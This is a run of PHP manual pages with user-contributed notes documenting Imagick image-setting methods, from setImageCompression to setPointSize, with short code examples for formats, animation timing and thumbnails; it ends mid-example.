This example shows how to set the compression type, set the compression quality, create a thumbnail and remove unnecessary data in order to reduce file size.

This will use the following functions in reference:
Imagick::setImageCompression
Imagick::setImageCompressionQuality
Imagick::stripImage
Imagick::thumbnailImage
Imagick::writeImage

<?php
    $image = 'image.jpg';
    $directory = '/path/to/image';
    $image_location = $directory . "/" . $image;
    $thumb_destination = $directory . "/t" . $image;
    $compression_type = Imagick::COMPRESSION_JPEG;

    $im = new Imagick($image_location);
    $thumbnail = $im->clone;

    $thumbnail->setImageCompression($compression_type);
    $thumbnail->setImageCompressionQuality(40);
    $thumbnail->stripImage();
    $thumbnail->thumbnailImage(100,null);
    $thumbnail->writeImage($thumb_destination);
?>

Now, obviously you don't have to do so much with the variables and the file location.  I only used so many to demonstrate where the images are coming from and where they are going.

NOTE:  The $thumbnail->thumbnailImage(100,null); keeps the aspect ration by setting the second parameter to null.  Read about this at Imagick::thumbnailImage

There is another way to create thumbnails that works quite well if you want to crop the image rather than using the entire image.  Check out Imagick::cropThumbnailImage


Sets the image delay

  • « Imagick::setImageCompressionQuality
  • Imagick::setImageDepth »
  • PHP Manual
  • Imagick
  • Sets the image delay

Imagick::setImageDelay

(PECL imagick 2.0.0)

Imagick::setImageDelay — Sets the image delay

Description

bool Imagick::setImageDelay ( int $delay )

Sets the image delay. For an animated image this is the amount of time that this frame of the image should be displayed for, before displaying the next frame.

The delay can be set individually for each frame in an image.

Parameters

delay

The amount of time expressed in 'ticks' that the image should be displayed for. For animated GIFs there are 100 ticks per second, so a value of 20 would be 20/100 of a second aka 1/5th of a second.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Modify animated Gif with Imagick::setImageDelay()

<?php

// Modify an animated Gif so that it's frames are played at a variable speed,
// varying between being shown for 50ms down to 0ms, which will cause the frame
// to be skipped in most browsers.
$imagick = new Imagick(realpath("Test.gif"));
$imagick = $imagick->coalesceImages();

$frameCount = 0;

foreach ($imagick as $frame) {
    $imagick->setImageDelay((($frameCount % 11) * 5));
    $frameCount++;
}

$imagick = $imagick->deconstructImages();

$imagick->writeImages("/path/to/save/output.gif", true);

?>

User Contributed Notes

fortruth at mabang dot net 04-Jun-2010 05:02
the delay time unit is micro-second  when 100  is  1s


Sets the image depth

  • « Imagick::setImageDelay
  • Imagick::setImageDispose »
  • PHP Manual
  • Imagick
  • Sets the image depth

Imagick::setImageDepth

(PECL imagick 2.0.0)

Imagick::setImageDepth — Sets the image depth

Description

bool Imagick::setImageDepth ( int $depth )

Sets the image depth.

Parameters

depth

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

kehrigan at gmail dot com 24-Jul-2014 05:25
Depth is a number in terms of bits. Floats seem to be accepted.

From the ImageMagick documentation:
"This the number of bits in a color sample within a pixel. Use this option to specify the depth of raw images whose depth is unknown such as GRAY, RGB, or CMYK, or to change the depth of any image after it has been read."


Sets the image disposal method

  • « Imagick::setImageDepth
  • Imagick::setImageExtent »
  • PHP Manual
  • Imagick
  • Sets the image disposal method

Imagick::setImageDispose

(PECL imagick 2.0.0)

Imagick::setImageDispose — Sets the image disposal method

Description

bool Imagick::setImageDispose ( int $dispose )

Sets the image disposal method.

Parameters

dispose

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

malou_pitawawa at hotmail dot com 17-Jan-2010 01:00
The layer disposal method defines the way each the displayed image is to be modified after the current 'frame' of an animation has finished being displayed (after its 'delay' period), but before the next frame on an animation is to be overlaid onto the display.

Value for $dispose:

Undefined: 0 -> No disposal specified (equivalent to 'none').
None: 1 -> Do not dispose, just overlay next frame image.
Background: 2 -> Clear the frame area with the background color.
Previous: 3 -> Clear to the image prior to this frames overlay.

from: http://www.imagemagick.org/script/command-line-options.php?#dispose


Sets the image size

  • « Imagick::setImageDispose
  • Imagick::setImageFilename »
  • PHP Manual
  • Imagick
  • Sets the image size

Imagick::setImageExtent

(PECL imagick 2.0.0)

Imagick::setImageExtent — Sets the image size

Description

bool Imagick::setImageExtent ( int $columns , int $rows )

Sets the image size (i.e. columns & rows).

Parameters

columns

rows

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

charles dot p dot hall at gmail dot com 30-Oct-2014 02:31
In other graphics systems I have seen this referred to as Canvas size or re-dimensioning. It changes the dimension of the image without re-scaling. Added pixels appear black, removed pixels are simply cropped away.
tim at komta dot com 19-Oct-2009 09:02
This function actually sets the width and height of the image (in pixels).

Took me forever to figure this out.


Sets the filename of a particular image

  • « Imagick::setImageExtent
  • Imagick::setImageFormat »
  • PHP Manual
  • Imagick
  • Sets the filename of a particular image

Imagick::setImageFilename

(PECL imagick 2.0.0)

Imagick::setImageFilename — Sets the filename of a particular image

Description

bool Imagick::setImageFilename ( string $filename )

Sets the filename of a particular image in a sequence.

Parameters

filename

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the format of a particular image

  • « Imagick::setImageFilename
  • Imagick::setImageGamma »
  • PHP Manual
  • Imagick
  • Sets the format of a particular image

Imagick::setImageFormat

(PECL imagick 2.0.0)

Imagick::setImageFormat — Sets the format of a particular image

Description

bool Imagick::setImageFormat ( string $format )

Sets the format of a particular image in a sequence.

Parameters

format

String presentation of the image format. Format support depends on the ImageMagick installation.

Return Values

Returns TRUE on success.

User Contributed Notes

layzee dot dk at gmail dot com 01-Jul-2013 03:44
This method only affects the individual loaded/constructed images.

To set the format of the entire object, use the Imagick::setFormat method. E.g. load TIFF files, then use setFormat('pdf') on the Imagick object, then writeImagesFile('foo.pdf') or getImagesBlob().
markus dot s dot schmitz at gmail dot com 11-Dec-2012 10:47
If you use writeFile or writeFiles without setting the format, it is automatically set according to the file extension used within the parameter of writeFile.
nathan at crause dot name 18-Aug-2010 06:35
For those of you completely confused by the utter lack of documentation for this class (including notes being dropped, probably this one included), the differences between any "setXXX" and "setImageXXX" seems to be entirely dependently on HOW the image was loaded.

If the image was loaded at object constructor time, it seems that you use "setXXX" - if you loaded it after the fact (such as via "readImageBlob") then you use "setImageXXX".

This is irregular, however. For example:

<?php
        $image = new Imagick();

        $image->setResolution(300, 300);
        $image->readImageBlob(...);
        // convert the output to JPEG
        $image->setImageFormat('jpeg');
        $image->setImageCompressionQuality(90);
?>

Note that we use "setResolution" not "setImageResolution".
andy at live dot nl 26-Feb-2009 03:54
I had a problem when using $im->setImageFormat('jpeg');
Image colors got inverted when i converted pdfs to jpg thumbs.
Had to add $im->setImageColorspace(255); to solve it.

<?php
// read page 1
$im = new imagick( 'test.pdf[ 0]' );

// convert to jpg
$im->setImageColorspace(255);
$im->setCompression(Imagick::COMPRESSION_JPEG);
$im->setCompressionQuality(60);
$im->setImageFormat('jpeg');

//resize
$im->resizeImage(290, 375, imagick::FILTER_LANCZOS, 1);

//write image on server
$im->writeImage('thumb.jpg');
$im->clear();
$im->destroy();
?>
barclay[dot]loftus[at]gmail.com 13-Mar-2008 12:04
Another note about image output. For jpeg images, the quality is adjusted by Imagick::setCompressionQuality().

<?php
$img->setCompressionQuality(90);
$img->setImageFormat('jpeg');
header('Content-type: image/jpg');
echo $img;
?>
optymizer at yahoo dot com 22-Nov-2007 12:09
The previous example did not work for me. I received an error that the IMagick object cannot be converted to string.

This example uses the IMagick::getImageBlob() method to properly output the contents of the converted image:

function getImage($filename)
{
            $image->readImage($filename);
            $image->setImageFormat("png");
            header("Content-type: image/png");
            echo $image->getImageBlob();
}

Hope this helps!
Devo 08-Oct-2007 05:02
A list of formats can be found here: http://www.imagemagick.org/script/formats.php

Formats marked with a W can be output to file with writeImage (capabilities depend on your particular installation of course).

For example:

<?php
// create new imagick object from image.jpg
$im = new Imagick( "image.jpg" );

// change format to png
$im->setImageFormat( "png" );

// output the image to the browser as a png
header( "Content-Type: image/png" );
echo $im;

// or you could output the image to a file:
//$im->writeImage( "image.png" );
?>


Sets the image gamma

  • « Imagick::setImageFormat
  • Imagick::setImageGravity »
  • PHP Manual
  • Imagick
  • Sets the image gamma

Imagick::setImageGamma

(PECL imagick 2.0.0)

Imagick::setImageGamma — Sets the image gamma

Description

bool Imagick::setImageGamma ( float $gamma )

Sets the image gamma.

Parameters

gamma

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image gravity

  • « Imagick::setImageGamma
  • Imagick::setImageGreenPrimary »
  • PHP Manual
  • Imagick
  • Sets the image gravity

Imagick::setImageGravity

(No version information available, might only be in Git)

Imagick::setImageGravity — Sets the image gravity

Description

bool Imagick::setImageGravity ( int $gravity )

Sets the gravity property for the current image. This method can be used to set the gravity property for a single image sequence. This method is available if Imagick has been compiled against ImageMagick version 6.4.4 or newer.

Parameters

gravity

The gravity property. Refer to the list of gravity constants.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity green primary point

  • « Imagick::setImageGravity
  • Imagick::setImageIndex »
  • PHP Manual
  • Imagick
  • Sets the image chromaticity green primary point

Imagick::setImageGreenPrimary

(PECL imagick 2.0.0)

Imagick::setImageGreenPrimary — Sets the image chromaticity green primary point

Description

bool Imagick::setImageGreenPrimary ( float $x , float $y )

Sets the image chromaticity green primary point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the iterator position

  • « Imagick::setImageGreenPrimary
  • Imagick::setImageInterlaceScheme »
  • PHP Manual
  • Imagick
  • Set the iterator position

Imagick::setImageIndex

(PECL imagick 2.0.0)

Imagick::setImageIndex — Set the iterator position

Description

bool Imagick::setImageIndex ( int $index )

Set the iterator to the position in the image list specified with the index parameter.

This method has been deprecated. See Imagick::setIteratorIndex().

Parameters

index

The position to set the iterator to

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

maulik_Vr at yahoo dot co dot in 22-Apr-2013 04:37
when you read pdf by getImageBlog and want to get the image or blob of a specific page, use this function as below.

$ims = new Imagick();

$ims->readImageBlob($pdfFileContent);

$ims->setImageIndex(5); //this will return 6th page of the pdf file
$image->setImageFormat('png');
            //etc
$blob = $image->getImageBlob();
Rob Hidalgo 09-Oct-2012 02:05
When reading a PDF from an ImageBlob, and you want to set the page to be used, this is the function to use.


Sets the image compression

  • « Imagick::setImageIndex
  • Imagick::setImageInterpolateMethod »
  • PHP Manual
  • Imagick
  • Sets the image compression

Imagick::setImageInterlaceScheme

(PECL imagick 2.0.0)

Imagick::setImageInterlaceScheme — Sets the image compression

Description

bool Imagick::setImageInterlaceScheme ( int $interlace_scheme )

Sets the image compression.

Parameters

interlace_scheme

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image interpolate pixel method

  • « Imagick::setImageInterlaceScheme
  • Imagick::setImageIterations »
  • PHP Manual
  • Imagick
  • Sets the image interpolate pixel method

Imagick::setImageInterpolateMethod

(PECL imagick 2.0.0)

Imagick::setImageInterpolateMethod — Sets the image interpolate pixel method

Description

bool Imagick::setImageInterpolateMethod ( int $method )

Sets the image interpolate pixel method.

Parameters

method

The method is one of the Imagick::INTERPOLATE_* constants

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image iterations

  • « Imagick::setImageInterpolateMethod
  • Imagick::setImageMatte »
  • PHP Manual
  • Imagick
  • Sets the image iterations

Imagick::setImageIterations

(PECL imagick 2.0.0)

Imagick::setImageIterations — Sets the image iterations

Description

bool Imagick::setImageIterations ( int $iterations )

Sets the number of iterations an animated image is repeated.

Parameters

iterations

The number of iterations the image should loop over. Set to '0' to loop continuously.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Basic Imagick::setImageIterations() usage

<?php

$imagick = new Imagick(realpath("Test.gif"));

$imagick = $imagick->coalesceImages();
$imagick->setImageIterations(1);
$imagick = $imagick->deconstructImages();

$imagick->writeImages('/path/to/save/OnceOnly.gif', true);

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the image matte channel

  • « Imagick::setImageIterations
  • Imagick::setImageMatteColor »
  • PHP Manual
  • Imagick
  • Sets the image matte channel

Imagick::setImageMatte

(PECL imagick 2.0.0)

Imagick::setImageMatte — Sets the image matte channel

Description

bool Imagick::setImageMatte ( bool $matte )

Sets the image matte channel. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

matte

True activates the matte channel and false disables it.

Return Values

Returns TRUE on success.

User Contributed Notes

martin at psinas dot com 06-Oct-2011 03:33
I found this method is needed when creating a font / image mask, and needs to be set to false otherwise the mask won't take effect. Here is an example:

<?php

// Create objects
$image = new Imagick('myImage.png');
$watermark = new Imagick();
$mask = new Imagick();
$draw = new ImagickDraw();

// Define dimensions
$width = $image->getImageWidth();
$height = $image->getImageHeight();

// Create some palettes
$watermark->newImage($width, $height, new ImagickPixel('grey30'));
$mask->newImage($width, $height, new ImagickPixel('black'));

// Watermark text
$text = 'Copyright';

// Set font properties
$draw->setFont('Bookman-Demi');
$draw->setFontSize(20);
$draw->setFillColor('grey70');

// Position text
$draw->setGravity(Imagick::GRAVITY_SOUTHEAST);

// Draw text on the watermark palette
$watermark->annotateImage($draw, 10, 12, 0, $text);

// Draw text on the mask palette
$draw->setFillColor('white');
$mask->annotateImage($draw, 11, 13, 0, $text);
$mask->annotateImage($draw, 10, 12, 0, $text);
$draw->setFillColor('black');
$mask->annotateImage($draw, 9, 11, 0, $text);

// This is apparently needed for the mask to work
$mask->setImageMatte(false);

// Apply mask to watermark
$watermark->compositeImage($mask, Imagick::COMPOSITE_COPYOPACITY, 0, 0);

// Overlay watermark on image
$image->compositeImage($watermark, Imagick::COMPOSITE_DISSOLVE, 0, 0);

// Set output image format
$image->setImageFormat('png');

// Output the new image
header('Content-type: image/png');
echo $image;

?>


Sets the image matte color

  • « Imagick::setImageMatte
  • Imagick::setImageOpacity »
  • PHP Manual
  • Imagick
  • Sets the image matte color

Imagick::setImageMatteColor

(PECL imagick 2.0.0)

Imagick::setImageMatteColor — Sets the image matte color

Description

bool Imagick::setImageMatteColor ( mixed $matte )

Sets the image matte color.

Parameters

matte

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image opacity level

  • « Imagick::setImageMatteColor
  • Imagick::setImageOrientation »
  • PHP Manual
  • Imagick
  • Sets the image opacity level

Imagick::setImageOpacity

(PECL imagick 2.0.0)

Imagick::setImageOpacity — Sets the image opacity level

Description

bool Imagick::setImageOpacity ( float $opacity )

Sets the image to the specified opacity level. This method is available if Imagick has been compiled against ImageMagick version 6.3.1 or newer. This method operates on all channels, which means that for example opacity value of 0.5 will set all transparent areas to partially opaque. To add transparency to areas that are not already transparent use Imagick::evaluateImage()

Parameters

opacity

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

Return Values

Returns TRUE on success.

Examples

Example #1 A Imagick::setImageOpacity() example

An example of using Imagick::setImageOpacity()

<?php
/* Create the object */
$image = new Imagick('source.png');

/* Set the opacity */
$image->setImageOpacity(0.7);

/* output the image */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the image orientation

  • « Imagick::setImageOpacity
  • Imagick::setImagePage »
  • PHP Manual
  • Imagick
  • Sets the image orientation

Imagick::setImageOrientation

(PECL imagick 2.0.0)

Imagick::setImageOrientation — Sets the image orientation

Description

bool Imagick::setImageOrientation ( int $orientation )

Sets the image orientation.

Parameters

orientation

One of the orientation constants

Return Values

Returns TRUE on success.

User Contributed Notes

orrd101 at yahoo dot com 21-Feb-2013 06:20
Be aware that Imagick::setImageOrientation() doesn't actually rotate the image, it just changes the EXIF rotation info that will be saved with the image. In some cases that may be what you want to do, but  if you're trying to rotate an image, this probably isn't the way you want to do it. The problem with relying on the EXIF rotation info is that many web browsers ignore and some image viewing software ignore the EXIF information and don't auto-rotate it automatically.  This function is best used to correct EXIF rotation information just before saving an image.

To actually rotate an image, use Imagick::rotateImage().

And then maybe use this function to save the correct EXIF orientation data.  For example: $image->setImageOrientation(imagick::ORIENTATION_TOPLEFT);


Sets the page geometry of the image

  • « Imagick::setImageOrientation
  • Imagick::setImageProfile »
  • PHP Manual
  • Imagick
  • Sets the page geometry of the image

Imagick::setImagePage

(PECL imagick 2.0.0)

Imagick::setImagePage — Sets the page geometry of the image

Description

bool Imagick::setImagePage ( int $width , int $height , int $x , int $y )

Sets the page geometry of the image.

Parameters

width

height

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Darren Burnhill 19-May-2009 02:03
This would appear to be the equivalent of +repage in ImageMagick.

<?php
  $ImagickObj = new Imagick($sourceImagePath);
  $ImagickObj->cropImage($_POST['w'], $_POST['h'], $_POST['x'], $_POST['y']);
  $ImagickObj->setImagePage($_POST['w'], $_POST['h'], 0, 0);
  $ImagickObj->writeImage($cropFilePath);
?>


Adds a named profile to the Imagick object

  • « Imagick::setImagePage
  • Imagick::setImageProperty »
  • PHP Manual
  • Imagick
  • Adds a named profile to the Imagick object

Imagick::setImageProfile

(PECL imagick 2.0.0)

Imagick::setImageProfile — Adds a named profile to the Imagick object

Description

bool Imagick::setImageProfile ( string $name , string $profile )

Adds a named profile to the Imagick object. If a profile with the same name already exists, it is replaced. This method differs from the Imagick::ProfileImage() method in that it does not apply any CMS color profiles.

Parameters

name

profile

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets an image property

  • « Imagick::setImageProfile
  • Imagick::setImageRedPrimary »
  • PHP Manual
  • Imagick
  • Sets an image property

Imagick::setImageProperty

(PECL imagick 2.0.0)

Imagick::setImageProperty — Sets an image property

Description

bool Imagick::setImageProperty ( string $name , string $value )

Sets a named property to the image. This method is available if Imagick has been compiled against ImageMagick version 6.3.2 or newer.

Parameters

name

value

Examples

Example #1 Using Imagick::setImageProperty():

Setting and getting image properties

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

See Also

  • Imagick::getImageProperty() - Returns the named image property

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity red primary point

  • « Imagick::setImageProperty
  • Imagick::setImageRenderingIntent »
  • PHP Manual
  • Imagick
  • Sets the image chromaticity red primary point

Imagick::setImageRedPrimary

(PECL imagick 2.0.0)

Imagick::setImageRedPrimary — Sets the image chromaticity red primary point

Description

bool Imagick::setImageRedPrimary ( float $x , float $y )

Sets the image chromaticity red primary point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image rendering intent

  • « Imagick::setImageRedPrimary
  • Imagick::setImageResolution »
  • PHP Manual
  • Imagick
  • Sets the image rendering intent

Imagick::setImageRenderingIntent

(PECL imagick 2.0.0)

Imagick::setImageRenderingIntent — Sets the image rendering intent

Description

bool Imagick::setImageRenderingIntent ( int $rendering_intent )

Sets the image rendering intent.

Parameters

rendering_intent

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image resolution

  • « Imagick::setImageRenderingIntent
  • Imagick::setImageScene »
  • PHP Manual
  • Imagick
  • Sets the image resolution

Imagick::setImageResolution

(PECL imagick 2.0.0)

Imagick::setImageResolution — Sets the image resolution

Description

bool Imagick::setImageResolution ( float $x_resolution , float $y_resolution )

Sets the image resolution.

Parameters

x_resolution

y_resolution

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

craig dot fairhurst at nospamyouds dot com 12-Feb-2010 07:12
Note that any changes to the resolution (-density option) must be made before specifying the file, so construct the object with no file path and then use $object->readImage('path/to/file'); otherwise the density won't change.
Also see Imagick::setResolution.
octave at web dot de 17-Jul-2009 06:27
This method uses the ImageMagick "-density {$x_resolution}x{$y_resolution}" parameter


Sets the image scene

  • « Imagick::setImageResolution
  • Imagick::setImageTicksPerSecond »
  • PHP Manual
  • Imagick
  • Sets the image scene

Imagick::setImageScene

(PECL imagick 2.0.0)

Imagick::setImageScene — Sets the image scene

Description

bool Imagick::setImageScene ( int $scene )

Sets the image scene.

Parameters

scene

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image ticks-per-second

  • « Imagick::setImageScene
  • Imagick::setImageType »
  • PHP Manual
  • Imagick
  • Sets the image ticks-per-second

Imagick::setImageTicksPerSecond

(PECL imagick 2.0.0)

Imagick::setImageTicksPerSecond — Sets the image ticks-per-second

Description

bool Imagick::setImageTicksPerSecond ( int $ticks_per_second )

Adjust the amount of time that a frame of an animated image is displayed for.

Note:

For animated GIFs, this function does not change the number of 'image ticks' per second, which is always defined as 100. Instead it adjusts the amount of time that the frame is displayed for to simulate the change in 'ticks per second'.

For example, for an animated GIF where each frame is displayed for 20 ticks (1/5 of a second) when this method is called on each frame of that image with an argument of 50 the frames are adjusted to be displayed for 40 ticks (2/5 of a second) and the animation will play at half the original speed.

Parameters

ticks_per_second

The duration for which an image should be displayed expressed in ticks per second.

Return Values

Returns TRUE on success.

Examples

Example #1 Modify animated Gif with Imagick::setImageTicksPerSecond()

<?php

// Modify an animated gif so the first half of the gif is played at half the
// speed it currently is, and the second half to be played at double the speed
// it currently is

$imagick = new Imagick(realpath("Test.gif"));
$imagick = $imagick->coalesceImages();

$totalFrames = $imagick->getNumberImages();

$frameCount = 0;

foreach ($imagick as $frame) {
    $imagick->setImageTicksPerSecond(50);

    if ($frameCount < ($totalFrames / 2)) {
        // Modify the frame to be displayed for twice as long as it currently is
        $imagick->setImageTicksPerSecond(50);
    } else {
        // Modify the frame to be displayed for half as long as it currently is
        $imagick->setImageTicksPerSecond(200);
    }

    $frameCount++;
}

$imagick = $imagick->deconstructImages();

$imagick->writeImages("/path/to/save/output.gif", true);

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the image type

  • « Imagick::setImageTicksPerSecond
  • Imagick::setImageUnits »
  • PHP Manual
  • Imagick
  • Sets the image type

Imagick::setImageType

(PECL imagick 2.0.0)

Imagick::setImageType — Sets the image type

Description

bool Imagick::setImageType ( int $image_type )

Sets the image type.

Parameters

image_type

Return Values

Returns TRUE on success.

User Contributed Notes

quickshiftin at gmail dot com 05-Oct-2014 03:29
The cleaner way to set the type to grayscale is to use the Imagick class constant.

$oBw = new \Imagick($sSourceImage);
$oBw->setImageType(\Imagick::IMGTYPE_GRAYSCALE);

I've found this to be a rather harsh 'convert to grayscale' approach. Fred's color2gray script works much better, but it's written in Bash. Time to get it ported over lol

http://www.fmwconcepts.com/imagemagick/color2gray/index.php
lee dot traynor at skeptic dot de 19-Oct-2011 10:37
This function can be used to desaturate an image, i.e. to convert a coloured image into a greyscale:

<?php

$im = new Imagick ("image.jpg");
$im->setImageType (2);
//is now in 256 shades of grey

?>


Sets the image units of resolution

  • « Imagick::setImageType
  • Imagick::setImageVirtualPixelMethod »
  • PHP Manual
  • Imagick
  • Sets the image units of resolution

Imagick::setImageUnits

(PECL imagick 2.0.0)

Imagick::setImageUnits — Sets the image units of resolution

Description

bool Imagick::setImageUnits ( int $units )

Sets the image units of resolution.

Parameters

units

Return Values

Returns TRUE on success.

User Contributed Notes

euperia at gmail dot com 07-Nov-2012 05:20
You should use the PHP Imagick constants to correctly set the Image Units, as described here:

http://www.php.net/manual/en/imagick.constants.php

RESOLUTION constants

imagick::RESOLUTION_UNDEFINED (integer)
imagick::RESOLUTION_PIXELSPERINCH (integer)
imagick::RESOLUTION_PIXELSPERCENTIMETER (integer)
salomonsanz at gmail dot com 08-Dec-2008 09:56
$source = 'miphoto.jpg';
$imagick = new Imagick($source);
$imagick -> setImageUnits(2);
//0=undefined, 1=pixelsperInch, 2=PixelsPerCentimeter
$info = $imagick -> identifyImage();
print_r($info);
//ouput
/*
Array
(
[units] => PixelsPerCentimeter
)


Sets the image virtual pixel method

  • « Imagick::setImageUnits
  • Imagick::setImageWhitePoint »
  • PHP Manual
  • Imagick
  • Sets the image virtual pixel method

Imagick::setImageVirtualPixelMethod

(PECL imagick 2.0.0)

Imagick::setImageVirtualPixelMethod — Sets the image virtual pixel method

Description

bool Imagick::setImageVirtualPixelMethod ( int $method )

Sets the image virtual pixel method.

Parameters

method

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image chromaticity white point

  • « Imagick::setImageVirtualPixelMethod
  • Imagick::setInterlaceScheme »
  • PHP Manual
  • Imagick
  • Sets the image chromaticity white point

Imagick::setImageWhitePoint

(PECL imagick 2.0.0)

Imagick::setImageWhitePoint — Sets the image chromaticity white point

Description

bool Imagick::setImageWhitePoint ( float $x , float $y )

Sets the image chromaticity white point.

Parameters

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Sets the image compression

  • « Imagick::setImageWhitePoint
  • Imagick::setIteratorIndex »
  • PHP Manual
  • Imagick
  • Sets the image compression

Imagick::setInterlaceScheme

(PECL imagick 2.0.0)

Imagick::setInterlaceScheme — Sets the image compression

Description

bool Imagick::setInterlaceScheme ( int $interlace_scheme )

Sets the image compression.

Parameters

interlace_scheme

Return Values

Returns TRUE on success.

User Contributed Notes

hayvanAdam 12-May-2008 12:24
save progressive jpeg

<?php

$image = new Imagick('image.jpg');
$image->thumbnailImage(500, 0);

$image->setInterlaceScheme(Imagick::INTERLACE_PLANE);

$image->writeImage('progressive.jpg');

?>


Set the iterator position

  • « Imagick::setInterlaceScheme
  • Imagick::setLastIterator »
  • PHP Manual
  • Imagick
  • Set the iterator position

Imagick::setIteratorIndex

(PECL imagick 2.0.0)

Imagick::setIteratorIndex — Set the iterator position

Description

bool Imagick::setIteratorIndex ( int $index )

Set the iterator to the position in the image list specified with the index parameter. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

index

The position to set the iterator to

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::setIteratorIndex():

Create images, set and get the iterator index

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

See Also

  • Imagick::getIteratorIndex() - Gets the index of the current active image
  • Imagick::getImageIndex() - Gets the index of the current active image
  • Imagick::setImageIndex() - Set the iterator position

User Contributed Notes

wilcobeekhuizen at gmail dot com 14-Mar-2011 07:06
This function returns true on success but setting the iterator to an invalid index throws an exception instead of returning false:
Fatal error: Uncaught exception 'ImagickException' with message 'Unable to set iterator index'

This can happen when counting images inside a gif file, because the iterator count starts at zero and not one. If you count the number of images in a gif file be sure to use iterator 0 for the first image, like this:

<?php
$image = new Imagick('simple.gif');
$image->setIteratorIndex(0);
?>


Sets the Imagick iterator to the last image

  • « Imagick::setIteratorIndex
  • Imagick::setOption »
  • PHP Manual
  • Imagick
  • Sets the Imagick iterator to the last image

Imagick::setLastIterator

(PECL imagick 2.0.1)

Imagick::setLastIterator — Sets the Imagick iterator to the last image

Description

bool Imagick::setLastIterator ( void )

Sets the Imagick iterator to the last image.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Set an option

  • « Imagick::setLastIterator
  • Imagick::setPage »
  • PHP Manual
  • Imagick
  • Set an option

Imagick::setOption

(PECL imagick 2.0.0)

Imagick::setOption — Set an option

Description

bool Imagick::setOption ( string $key , string $value )

Associates one or more options with the wand.

Parameters

key

value

Return Values

Returns TRUE on success.

User Contributed Notes

alexandre at gaigalas dot net 11-Jul-2011 11:43
If you want to extract a preview from a PDF file using the CropBox instead of the whole document, setOption() is the right method:

<?php
$handler = new Imagick();
$handler->setOption('pdf:use-cropbox', 'true');
$handler->readImage($imageFileName);
$handler->thumbnailImage(200, 200, true);
$handler->setImageFormat('jpeg');
$handler->writeImage($destThumbFileName);
?>

It is the equivalent to the -define pdf:use-cropbox=true for the convert command line tool. pdf:use-trimbox is also available.

Note that on my environment the setOption only worked when i called it before the readImage method, which means that you can't pass the filename to the Imagick constructor directly.


Sets the page geometry of the Imagick object

  • « Imagick::setOption
  • Imagick::setPointSize »
  • PHP Manual
  • Imagick
  • Sets the page geometry of the Imagick object

Imagick::setPage

(PECL imagick 2.0.0)

Imagick::setPage — Sets the page geometry of the Imagick object

Description

bool Imagick::setPage ( int $width , int $height , int $x , int $y )

Sets the page geometry of the Imagick object.

Parameters

width

height

x

y

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets point size

  • « Imagick::setPage
  • Imagick::setResolution »
  • PHP Manual
  • Imagick
  • Sets point size

Imagick::setPointSize

(PECL imagick 2.1.0)

Imagick::setPointSize — Sets point size

Description

bool Imagick::setPointSize ( float $point_size )

Sets object's point size property. This method can be used for example to set font size for caption: pseudo-format. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Parameters

point_size

Point size

Return Values

Returns TRUE on success.

See Also

  • Imagick::getPointSize() - Gets point size

Examples

Example #1 A Imagick::setPointSize() example

Example of using Imagick::setPointSize

<?php
/* Create new imagick object */
$im = new Imagick();

/* Set the font for the object */
$im->setFont("example.ttf");

/* Set the point size */
$im->setPointSize(12);

/* Create new caption */
